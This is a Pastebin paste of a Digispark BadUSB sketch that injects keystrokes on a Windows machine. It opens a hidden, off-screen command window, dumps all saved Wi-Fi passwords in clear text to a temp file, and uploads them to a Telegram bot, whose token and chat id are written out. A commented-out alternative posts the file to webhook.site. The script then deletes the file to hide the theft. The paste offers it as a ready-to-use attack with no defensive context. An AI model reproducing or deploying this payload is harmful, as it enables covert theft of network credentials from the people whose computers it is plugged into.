Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "DigiKeyboard.h"
- #define KEY_DOWN 0x51 // Keyboard Down Arrow
- #define KEY_ENTER 0x28 //Return/Enter Key
- void setup() {
- pinMode(1, OUTPUT);
- }
- void loop() {
- DigiKeyboard.update();
- DigiKeyboard.sendKeyStroke(0);
- DigiKeyboard.delay(3000);
- DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
- DigiKeyboard.delay(500);
- DigiKeyboard.println("cmd /k mode con: cols=15 lines=1");
- DigiKeyboard.delay(500);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT);
- DigiKeyboard.sendKeyStroke(KEY_M);
- for(int i =0; i < 100; i++)
- {
- DigiKeyboard.sendKeyStroke(KEY_DOWN);
- }
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(500);
- DigiKeyboard.println("cd %temp%");
- DigiKeyboard.delay(500);
- DigiKeyboard.println("for /f \"skip=9 tokens=1,2 delims=:\" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear >> Wi-Fi.txt");
- DigiKeyboard.delay(500);
- //DigiKeyboard.println("powershell Invoke-WebRequest -Uri https://webhook.site/5d73178d-e019-4f44-b7ec-fc8f1044b2ec -Method POST -InFile Wi-Fi.txt");
- //DigiKeyboard.delay(1000);
- DigiKeyboard.println("curl -v -F \"chat_id=592868963\" -F document=@Wi-Fi.txt https://api.telegram.org/bot957758778:AAFoDpdm_Kw5YOHd9scmXiRPtAA51dkLsg0/sendDocument");
- DigiKeyboard.delay(1000);
- DigiKeyboard.println("del Wi-Fi.txt /s /f /q");
- DigiKeyboard.delay(100);
- DigiKeyboard.println("exit");
- DigiKeyboard.delay(100);
- digitalWrite(1, HIGH); //turn on led when program finishes
- DigiKeyboard.delay(90000);
- digitalWrite(1, LOW);
- DigiKeyboard.delay(5000);
- }
Add Comment
Please, Sign In to add comment